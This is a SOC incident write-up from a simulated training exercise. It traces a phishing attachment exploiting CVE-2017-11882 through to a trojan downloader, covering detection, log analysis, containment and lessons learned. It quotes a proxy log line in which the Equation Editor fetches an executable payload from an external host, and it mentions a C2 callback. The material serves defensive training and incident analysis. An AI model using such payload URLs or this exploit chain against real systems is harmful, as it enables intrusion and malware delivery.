Executive summary
| Alert | SOC114, malicious attachment detected |
| Verdict | True positive, host contained |
| Malware | Trojan downloader via weaponised Office attachment |
| Exploit | CVE-2017-11882, Office Equation Editor |
| Dwell time | 27 minutes, delivery to C2 callback |
| MITRE ATT&CK | T1566.001, T1203, T1105, T1071.001 |
Detection and email analysis
The alert opened on a suspicious attachment, and the first question was narrow: delivered, or stopped at the gateway? The console confirmed delivery to a finance mailbox. The lure itself was thin, two lines with no personalisation or order reference, relying on the fact that an invoice reaching a finance user is unremarkable enough to open without thinking. The sending domain was the more interesting detail: a legitimate academic domain, which passes reputation checks that a freshly registered lookalike would fail, and is a large part of why the message reached the inbox at all.
Static analysis
Reputation checking returned 35 of 62 vendors flagging the file, labelled as a trojan downloader with exploit and executes-dropped-file behaviour tags. The CVE tag shaped everything that followed: a 2021 document exploiting a flaw patched in November 2017 is not targeting a novel weakness, it is targeting an unpatched estate. That reframed the incident from a detection problem to a patch management problem before a single log was queried, and it set the expectation that a second stage existed somewhere to go looking for.
Process and download activity
// proxy log, recipient host
Request GET http://andaluciabeach.net/image/network.exe
Process EQNEDT32.EXE
Parent excel.exe
Action Allowed
This one line carries most of the evidential weight. The Equation Editor binary exists to render formulas inside Office documents and has no legitimate reason to make outbound HTTP requests, let alone retrieve an executable. Seeing it spawned by Excel and reaching an external host is the exploit caught in the act, confirming user execution rather than inferring it. Two further gaps: the payload was served as an .exe under an /image/ path, and the proxy allowed an executable over plain HTTP from an uncategorised domain, a control failure independent of the phishing email.
Network correlation
The affected host established an outbound connection to a known command and control server on port 443. That port is the expected choice: TLS conceals the payload from inspection and outbound HTTPS is almost never blocked, so the traffic blends into ordinary browsing. Twenty seven minutes separated delivery from callback, consistent with the attachment being opened shortly after arrival. At that point the chain was evidenced end to end, with no step assumed: message delivered, document opened, exploit triggered, payload downloaded, channel established.
Response and containment
- Host isolated while left powered on, cutting the C2 channel while preserving volatile evidence for forensic review.
- Credential reset recommended: anything cached on a host with an active channel has to be treated as exposed.
- Attachment hash, payload URL and C2 address documented for blocking at proxy, firewall and endpoint layers.
- Mailbox sweep recommended, since one recipient in an alert rarely means one recipient in the campaign.
- Urgent audit of Office versions across the estate, as the exposure is unlikely to be limited to one host.
Lessons learned
Process lineage was the fastest route to a verdict; the parent and child relationship between Excel and the Equation Editor said more in one line than the reputation score did. Layered controls also failed independently: the gateway allowed the attachment, the proxy allowed the executable, and the patch had been available for over three years. Each gap was survivable alone, but together they produced a compromise. The decisive evidence came from placing three ordinary log sources in chronological order rather than from any sophisticated query.
Carried out as a training scenario on the LetsDefend SOC simulation platform. All hosts, users and indicators are simulated.
